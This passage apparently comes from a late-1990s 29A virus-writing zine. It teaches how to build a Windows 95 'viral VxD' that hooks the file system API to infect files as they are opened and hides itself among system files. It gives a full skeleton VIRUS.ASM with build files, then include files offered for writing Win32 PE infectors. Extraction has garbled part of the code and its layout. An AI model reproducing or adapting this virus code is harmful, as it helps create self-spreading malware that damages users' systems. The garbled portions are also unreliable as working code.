
BX

-> Flags on load. Duplicate_Device_ID -> a VxD with the same ID has been loaded. Duplicate_From_INT2F -> same as the previous one, from int 2fh. Loading_From_INT2F -> self explanatory :)

ECX -> 32-bit pointer, points to the entry for the real mode initialization services routine, which allows things such as reading the registry or SYSTEM.INI. EDX -> pointer to int 2fh provided data, or null. SI -> environment segment address, as passed by MS-DOS.

Our VxD may indicate the Virtual Machine Manager to perform several functions, such as reserving physical pages, by returned parameters:

AX

-> action. Abort_Device_Load: this is the value which we will return when the VMM tells us of a previously loaded VxD with the same VxD-ID. Prevents the VxD from being loaded without disturbing other VxDs. Abort_Win386_Load: tells VMM that everything is screwed up and it should better not load Windows (which is nearly always) :P Device_Load_Ok: when VMM receives this value, it understands that initialization is running with no problems, and that the loading process must continue. No_Fail_Message: this value is used in combination with Abort_Device_Load and with Abort_Win386_Load to prevent some error messages from appearing as a result of aborting Win or VxD loading.

BX

-> points to an array with the numbers of the pages to reserve for the VxD. This array ends in a NULL and contains pages ranging from 0000h to 0100h. If we don't want to reserve any pages, this value is kept equal to 0000h.

EDX -> reference data, by now we'll set it to 00000000h. SI -> instance data, we'll also set it to 0000h.

VMM services of our interest ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The Virtual Machine Manager is the heart of the operating system, as it is it the encharged to manage every virtual machine (hence, VMM). Moreover, it offers several services, some of which I'll describe as an example.

Get_Cur_VM_Handle ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get in EBX a handle about the VM being executed right now.

VMMcall Get_Cur_VM_Handle mov [VM_handle],ebx

Get_Sys_VM_Handle ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get in EBX a handle about the system VM.

VMMcall Get_Sys_VM_Handle mov [SysVM_handle],ebx

Get_VMM_Version ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get info about the VMM version.

VMMcall Get_VMM_Version mov [Major],ah mov [Minor],al mov [Debug],ecx

; Major version number ; Minor version number ; Revision number

Get_Config_Directory ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This great function provides us with the complete path to the directory where Windows mantains the system files such as SYSTEM.INI.

VMMcall Get_Config_Directory mov [win_path],edx

Get_Exec_Path ÄÄÄÄÄÄÄÄÄÄÄÄÄ Get a pointer to the path where Windows keeps the VMM32.VXD file. This will be the best directory regarding to save our viral VxD, hidden between system files in \SYSTEM.

VMMcall Get_Exec_Path mov [path_ptr],edx mov [length],ecx

The ECX register keeps the number of cluding last backlash "\".

characters in the path string, in-

_HeapAllocate ÄÄÄÄÄÄÄÄÄÄÄÄÄ Allocate memory in system's heap.

VMMcall _HeapAllocate,<#bytes,flags> or eax,eax jz not_allocated mov [block_ptr], eax ; eax = 00h if error ; Pointer to allocated block

#bytes -> specifies number of bytes to allocate flags -> refers to the following flags:

HEAPLOCKEDIFDP: allocate a memory block in a locked zone, only if using MS-DOS or BIOS functions in order to page. HEAPINIT: this flag can only be specified during initialization. It allocates a memory block which will be automatically freed once init is completed. HEAPSWAP: the block is allocated in a paged memory zone. HEAPZEROINIT: the allocated block is initialized with 00h's.

_HeapFree ÄÄÄÄÄÄÄÄÄ Free a memory block allocated with last function.

VMMcall _HeapFree,<block_ptr,flags> or eax,eax jz error ; eax = 00h if error

Hook_V86_Int_Chain ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Add a new handler to a V86 interruption. Gollum in order to monitor calls to the interrupt 21h.

virus uses

this service

mov eax,int_number mov esi,OFFSET32 my_handler VMMcall Hook_V86_Int_Chain jc error

; Int to hook ; Pointer to our handler ; Carry set if error encountered

System calls new controller like this:

mov eax,int_number mov ebx, VM mov ebp, OFFSET32 crs call [my_handler] jc pass_to_next

; Interruption ; Running VM handler ; Pointer to the Client_Reg_Struc

; Carry set if the funciton wasnt ; dispensed

We also have an Unhook_V86_Int_Chain, whose mission is to free the interruption handler just installed.

mov eax,int_number mov esi,OFFSET32 Hook_Proc

; Int number ; Address to the procedure which ; will be erased from the chain

VMMcall Unhook_V86_Int_Chain jc error

; Carry set if error encountered

Installable File System ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here we have all those functions which we continuously use in MS-DOS and allow us to open files, read them, etc... it will be here where we will hook our virus so as to monitor every operation the system will perform on files in order to infect them. But let's go step by step. To perform our operations on files we will use a service which will provide us with the most common functions such as read, write, etc. Here it is:

mov eax,R0_OPENCREATFILE

; Function to call ; ; ; ; ; Requiered Params - Attributes - Flags - Action and special flags - Guess what??? ;)

mov mov mov mov

cx,0 bx,2 dx,0011h esi,OFFSET32 filename

VxDCall IFSMgr_Ring0_FileIO

; And finally, the call

Then the only thing we need in order to start is to know how to call every function and how to pass the params. Well, this is the I/O form of some of the functions we will mostly use...

OpenCreateFile ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We will use this function to open or create files. Input params are:

EAX BX CX DH DL ESI

-> -> -> -> -> ->

function R0_OPENCREATFILE open mode and flags * attributes special flags (R0_NO_CACHE, R0_SWAPPER_CALL) action to perform * pointer to the filename string

And output parameters are: if CF=0 EAX -> file handle ECX -> performed action * if CF=1 error * = Check int 21h function 6ch

ReadFile ÄÄÄÄÄÄÄÄ With R0_READFILE we'll read bytes from a previously opened file (with the

R0_OPENCREATEFILE call). Following parameters are expected:

EAX EBX ECX EDX ESI Output:

-> -> -> -> ->

R0_READFILE file handle bytes to read place on file where to start reading pointer to buffer where to write data

if CF=0 then ECX = number of read bytes if CF=1 error

WriteFile ÄÄÄÄÄÄÄÄÄ That is, write into a file, params are:

EAX EBX ECX EDX ESI Output:

-> -> -> -> ->

R0_WRITEFILE file handle bytes to write place in file where to start writing pointer to the data we want to write

if CF=0 then ECX = number of written bytes if CF=1 error

CloseFile ÄÄÄÄÄÄÄÄÄ In order to close a just infected file ;) The input params are:

EAX -> R0_CLOSEFILE EBX -> file handle Output: if CF=0 file was closed ok if CF=1 error (AX = errorcode)

GetFileSize ÄÄÄÄÄÄÄÄÄÄÄ I'm sure we'll find it useful. Use these parameters:

EAX -> R0_GETFILESIZE EBX -> file handle As a result: if CF=0 then EAX = file size in bytes if CF=1 error (AX = errorcode)

And well, we could start now, however we'll still need some more, such as FileAttributes, RenameFile, DeleteFile, or GetDiskFreeSpace. As a colorful note we also have WriteAbsoluteDisk and ReadAbsoluteDisk to fuck around a

bit if we don't like hard drives... :) So we already know how to get on files, now we need to know how to hook up to the File System so we can monitor its activity. We'll use an IFS manager service, like this:

mov eax,OFFSET32 hook_procedure push eax VxDCall IFSMgr_InstallFileSystemApiHook add esp,0004h or eax,eax jz error mov dword ptr [prev_hook],eax ;Continue initialization process clc ret error: stc ret

This way we tell the file system the address of our monitor procedure. Lets see an example on writing this procedure...

hook_procedure: ; Follow C calls rules push ebp mov ebp,esp sub esp,20h ; At this point we can address the following params using ; the stack: ; ; ; ; ; ; ; ; ; ; ; ; ; ebp+00h -> saved EBP value. ebp+04h -> return address. ebp+08h -> supplies the address of the FSD function that is to be called for this API. ebp+0Ch -> supplies the function that is being performed. ebp+10h -> supplies the 1-based drive the operation is being performed on (-1 if UNC). ebp+14h -> supplies the kind of resource the operation is being performed on. ebp+18h -> supplies the codepage that the user string was passed in on. ebp+1Ch -> supplies pointer to IOREQ structure. Total 20h bytes

; Next we'll do is check if this call has been performed by ; the virus while infecting a file ; Using a switch, we'll avoid dropping into an endless loop. cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; This is the moment in which we check the function being called cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE

exit_FS_hook: mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax ptr [ebp+1Ch] ptr [ebp+18h] ptr [ebp+14h] ptr [ebp+10h] ptr [ebp+0Ch] ptr [ebp+08h]

; Finally let's call last IFS monitor procedure mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; The procedure is responsible for clearing the stack before ; RETurning the control to the caller add esp,00000018h ; RETurn leave ret

Cannonicalized paths ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Every path IFS manager passes to the FSD's is in Unicode. A cannonicalized path has quite different structure from that of C:\DOS we know so well ;)

This structure composes of: 1 WORD with the path's length (including this WORD but not the final NULL character). 1 WORD with the offset of the path element of the string, each path element keeps info about a path's part. Various path elements. Their structure is composed of 1 WORD with the pathname length (including the self WORD) followed by an Unicode string with the name of that path element. All cannonicalized paths contain a complete path from the partition root.

Installable File System services ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Some of these services have the format of a call in C so parameters are actually saves in the stack, depending on the function's necessities. Other services are written to be called from ASM, hence loading the params in the pertinent registers. The only service which can be useful for now is IFSMgr _GetVersion, which allows us to check IFS's version.

IFSMgr_GetVersion

Input: There are now input parameters Output: If CF=0 then EAX keeps the IFS manager version number If CF=1 error

Generic viral VxD ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is an example for a generical viral VxD, over which to write the rest of the code. The project is composed of the following files:

VIRUS.ASM VIRUS.DEF VIRUS.LNK MAKEFILE

; ; ; ;

ASM source with the viral VxD Module definition file Linker specifications file Project file

; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 MASM=1 .386p .XLIST INCLUDE VMM.Inc INCLUDE ifs.inc INCLUDE ifsmgr.inc INCLUDE SheLL.Inc .LIST Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,, VxD_REAL_INIT_SEG ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 real mode initialization code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc VxD_Real_Init_Proc ; Installation check test bx,Duplicate_Device_ID jnz short abort_virus_load ; Dont use any exclusion,instance or reference data xor bx,bx xor si,si xor edx,edx ; Not installed, load device mov ax,Device_Load_Ok ret abort_virus_load:

; Abort device loading process mov ax,Abort_Device_Load or No_Fail_Message ret EndProc VxD_Real_Init_Proc VxD_REAL_INIT_ENDS VxD_LOCKED_DATA_SEG ; We have read/write access to locked code segment because ; its into a loked data segment VxD_LOCKED_CODE_SEG ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 device init ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc VXD_Device_Init ; This initialization code is into VxD_LOCKED_CODE_SEG ; in order to avoid paging while fucking around with IFS. ; Check installable file system version cld VxDCall IFSMgr_Get_Version jc exit_device_init ; Get path of WIN386.EXE VMMCall Get_Exec_Path ; Copy path to our buffer mov esi,edx mov edi,OFFSET32 VxD_File_Name cld rep movsb ; Write name of our VxD file next to the path mov esi,OFFSET32 virus_VxD_Name mov ecx,0Bh cld rep movsb ; ; ; ; ; ; ; ; ; At this point we have the path and name of our virual VxD into the Windos \SYSTEM directory... We can read it on a buffer or copy it directly while infecting the file... Following service is called to install a filesystem API hook. This should be called by a VxD that wants to hook the filesystem api call and do special processing on them. The IFS manager returns a pointer of the next hooker in the chain.

mov eax,OFFSET32 virus_FS_Monitor push eax VxDCall IFSMgr_InstallFileSystemApiHook

; If this function is failed for reasons such as out of memory, ; the return value is 0. add esp,00000004h or eax,eax jz error_device_init mov dword ptr [Prev_IFS_Hook],eax exit_device_init: ; Continue initialization process clc ret error_device_init: stc ret EndProc VXD_Device_Init ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 file API hook ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc virus_FS_Monitor ; Errr... Using C calling conventions push ebp mov ebp,esp sub esp,20h ; Parameters into stack: ; ; ; ; ; ; ; ; ; ; ; ; ; ebp+00h -> saved EBP value. ebp+04h -> return address. ebp+08h -> supplies the address of the FSD function that is to be called for this API. ebp+0Ch -> supplies the function that is being performed. ebp+10h -> supplies the 1-based drive the operation is being performed on (-1 if UNC). ebp+14h -> supplies the kind of resource the operation is being performed on. ebp+18h -> supplies the codepage that the user string was passed in on. ebp+1Ch -> supplies pointer to IOREQ structure. Total 20h bytes

; Check if we are trying to process our own IFS calls cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; Check for OPEN ; This function is called also before execution... cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE

exit_FS_hook: ; Prepare parameters for calling previous FS API hook mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax ptr [ebp+1Ch] ptr [ebp+18h] ptr [ebp+14h] ptr [ebp+10h] ptr [ebp+0Ch] ptr [ebp+08h]

; Call previous hook mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; IFS hooker needs to fix the stack before return to caller add esp,00000018h ; Back to caller leave ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Open file/create a file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄvirus_OPEN_FILE: ; Save regs pushfd pushad ; Set IFS busy flag mov dword ptr [our_own_call],"BUSY" ; Put here code to process filename and infect it ; Reset IFS busy field mov dword ptr [our_own_call],"FREE" ; Get regs back popad popfd jmp exit_FS_hook EndProc virus_FS_Monitor ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 VxD control dispatcher ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc VXD_Control

Control_Dispatch Device_Init, VxD_Device_Init clc ret EndProc VXD_Control VxD_LOCKED_CODE_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus buffers into locked data segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄPrev_IFS_Hook our_own_call VxD_File_Name virus_VxD_Name VxD_LOCKED_DATA_ENDS END ; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 LIBRARY VXD DESCRIPTION 'ViRuS95' EXETYPE DEV386 SEGMENTS _LTEXT _LDATA _ITEXT _IDATA _TEXT _DATA EXPORTS VXD_DDB @1 ; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 VIRUS.obj VIRUS.vxd /NOI /NOD /NOP VIRUS.map /MAP VIRUS.def ; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 NAME = VIRUS LINK = link386.exe !ifdef DEBUG DDEBUG =-DDEBLEVEL=1 -DDEBUG !else DDEBUG =-DDEBLEVEL=0 !endif all : VIRUS.vxd ASM = ml #AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE CLASS 'ICODE' DISCARDABLE CLASS 'ICODE' DISCARDABLE CLASS 'PCODE' NONDISCARDABLE CLASS 'PCODE' NONDISCARDABLE dd db db db 00000000h "EERF" 80h dup (00h) "virus.VXD",00h ;Previous IFS hooker ;Path of virus VxD ;Name of virus VxD file

AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) ASMENV = ML VIRUS.vxd: VIRUS.def VIRUS.obj link386 @VIRUS.lnk addhdr VIRUS.vxd mapsym32 VIRUS ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

GriYo/29A I'm not in the business... ... I am the bussiness.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

. .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] by Jacky Qwerty/29A

Here you have the "famous" 29A INC filez, written by me. These INCz surely will become almost completely necessary for you at the moment of writing your Win32 PE infectorz as they contain lotz of very useful structurez and routinez used in such kind of virusez. At the very least you will need the INC filez to understand the functioning of the Win32 infectorz written here by us in 29A, as we all use them in order to make thingz much easier :) The set is formed by four filez (MZ.INC, PE.INC, USEFUL.INC, WIN32API.INC) which work separately, and whose corresponding utility has been described below. You might want either to cut them off from this file or just to unzip the file containing them (29A_INCS.ZIP), in the \FILES directory. Hope they will be useful for you!

- -[MZ.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] DOS EXE MZ executable format by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains all the constantz and structurez needed to work with the DOS EXE MZ executable format inside ASM filez. For use with TASM, of course (also with TASM32). MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ MZ_magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DOS_SIGNATURE IMAGE_DOS_HEADER MZ_magic EQU 5A4Dh ;'MZ'

STRUC DW ?

; Magic number

MZ_cblp MZ_cp MZ_crlc MZ_cparhdr MZ_minalloc MZ_maxalloc MZ_ss MZ_sp MZ_csum MZ_ip MZ_cs MZ_lfarlc MZ_ovno MZ_res MZ_oemid MZ_oeminfo MZ_res2 MZ_lfanew IMAGE_DOS_HEADER

DW DW DW DW DW DW DW DW DW DW DW DW DW DW DW DW DW DD ENDS

? ? ? ? ? ? ? ? ? ? ? ? ? 4 DUP (?) ? ? 10 DUP (?) ?

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Bytes on last page of file Pages in file Relocations Size of header in paragraphs Minimum extra paragraphs needed Maximum extra paragraphs needed Initial (relative) SS value Initial SP value Checksum Initial IP value Initial (relative) CS value File address of relocation table Overlay number Reserved words OEM identifier (for e_oeminfo) OEM information; e_oemid specific Reserved words File address of new exe header

IMAGE_SIZEOF_DOS_HEADER EQU ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

SIZE

IMAGE_DOS_HEADER

- -[PE.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] Portable Executable format by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains all the constantz and structurez needed to work with the PE (Portable Executable) format from inside ASM filez. For exclusive use with TASM(32), of course. MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ Based relocation type valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_REL_BASED_ABSOLUTE IMAGE_REL_BASED_HIGH IMAGE_REL_BASED_LOW IMAGE_REL_BASED_HIGHLOW IMAGE_REL_BASED_HIGHADJ IMAGE_REL_BASED_MIPS_JMPADDR IMAGE_RELOCATION_DATA RD_RelocType RD_RelocOffset RECORD :4 :12 EQU EQU EQU EQU EQU EQU 0 1 2 3 4 5 {

} IMAGE_BASE_RELOCATION STRUC BR_VirtualAddress DD ? BR_SizeOfBlock DD ? ; BR_TypeOffset IMAGE_RELOCATION_DATA 1 DUP (?) relocations (type + RVAs) IMAGE_BASE_RELOCATION ENDS IMAGE_SIZEOF_BASE_RELOCATION IMAGE_IMPORT_BY_NAME IBN_Hint IBN_Name IMAGE_IMPORT_BY_NAME IMAGE_ORDINAL_FLAG IMAGE_THUNK_DATA EQU SIZE

; Array of zero or more

IMAGE_BASE_RELOCATION

; 8

STRUC DW ? DB 1 DUP (?) ENDS EQU 80000000h

; ASCIIZ function name (variable size)

TD_AddressOfData structure TD_Ordinal DD IMAGE_ORDINAL_FLAG TD_Function DD address after program load) TD_ForwarderString DD ENDS IMAGE_THUNK_DATA ENDS

STRUC UNION DD IMAGE_IMPORT_BY_NAME PTR ? ? BYTE PTR ? BYTE PTR ? ; CODE PTR

; Ptr to IMAGE_IMPORT_BY_NAME ; Ordinal ORed with ; Ptr to function (i.e. Function ; Ptr to a forwarded API function.

; ÄÄ´ Import format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_IMPORT_DESCRIPTOR ID_Characteristics descriptor ID_OriginalFirstThunk ID_TimeDateStamp STRUC UNION DD ? DD ENDS DD IMAGE_THUNK_DATA PTR ? ?

; 0 for terminating null import ; RVA to original unbound IAT

; 0 if not bound, ; -1 if bound, and real date\time stamp ; in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new

BIND) ID_ForwarderChain ID_Name ID_FirstThunk has actual addresses) IMAGE_IMPORT_DESCRIPTOR IMAGE_SIZEOF_IMPORT_DESCRIPTOR DD DD DD ENDS EQU SIZE IMAGE_IMPORT_DESCRIPTOR ; O.W. date/time stamp of DLL bound to (Old BIND) ? ; -1 if no forwarders BYTE PTR ? ; RVA to name of imported DLL IMAGE_THUNK_DATA PTR ? ; RVA to IAT (if bound this IAT

; ÄÄ´ Export format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_EXPORT_DIRECTORY ED_Characteristics ED_TimeDateStamp ED_MajorVersion ED_MinorVersion ED_Name ED_Base ED_BaseOrdinal STRUC DD DD DW DW DD UNION DD DD ENDS

? ? ? ? BYTE PTR ? ? ?

; Ptr to name of exported DLL

ED_NumberOfFunctions ED_NumberOfNames ED_NumberOfOrdinals ED_AddressOfFunctions ED_AddressOfNames ED_AddressOfNameOrdinals ED_AddressOfOrdinals IMAGE_EXPORT_DIRECTORY

DD UNION DD DD ENDS DD DD UNION DD DD ENDS ENDS

? ? ? DWORD PTR ? ; Ptr to array of function addresses DWORD PTR ? ; Ptr to array of (function) name addresses WORD PTR ? WORD PTR ? ; Ptr to array of ordinals ;

IMAGE_SIZEOF_EXPORT_DIRECTORY EQU

SIZE IMAGE_EXPORT_DIRECTORY

; ÄÄ´ SH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;MAGE_SCN_TYPE_REG ;MAGE_SCN_TYPE_REGULAR ;MAGE_SCN_TYPE_DSECT ;MAGE_SCN_TYPE_DUMMY ;MAGE_SCN_TYPE_NOLOAD ;MAGE_SCN_TYPE_NO_LOAD ;MAGE_SCN_TYPE_GROUP ;MAGE_SCN_TYPE_GROUPED IMAGE_SCN_TYPE_NO_PAD ;MAGE_SCN_TYPE_COPY IMAGE_SCN_CNT_CODE IMAGE_SCN_CNT_INITIALIZED_DATA IMAGE_SCN_CNT_UNINITIALIZED_DATA IMAGE_SCN_LNK_OTHER IMAGE_SCN_LNK_INFO type of information. ;MAGE_SCN_TYPE_OVER ;MAGE_SCN_LNK_OVERLAY IMAGE_SCN_LNK_REMOVE image. IMAGE_SCN_LNK_COMDAT ; ;MAGE_SCN_MEM_PROTECTED IMAGE_SCN_MEM_FARDATA ;MAGE_SCN_MEM_SYSHEAP IMAGE_SCN_MEM_PURGEABLE IMAGE_SCN_MEM_16BIT IMAGE_SCN_MEM_LOCKED IMAGE_SCN_MEM_PRELOAD IMAGE_SCN_ALIGN_1BYTES IMAGE_SCN_ALIGN_2BYTES IMAGE_SCN_ALIGN_4BYTES IMAGE_SCN_ALIGN_8BYTES IMAGE_SCN_ALIGN_16BYTES specified. IMAGE_SCN_ALIGN_32BYTES IMAGE_SCN_ALIGN_64BYTES ; IMAGE_SCN_LNK_NRELOC_OVFL IMAGE_SCN_MEM_DISCARDABLE IMAGE_SCN_MEM_NOT_CACHED IMAGE_SCN_MEM_NOT_PAGED IMAGE_SCN_MEM_SHARED IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ IMAGE_SCN_MEM_WRITE EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000000h 00000000h 00000001h 00000001h 00000002h 00000002h 00000004h 00000004h 00000008h 00000010h 00000020h 00000040h 00000080h 00000100h 00000200h ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; Reserved Reserved Reserved Reserved 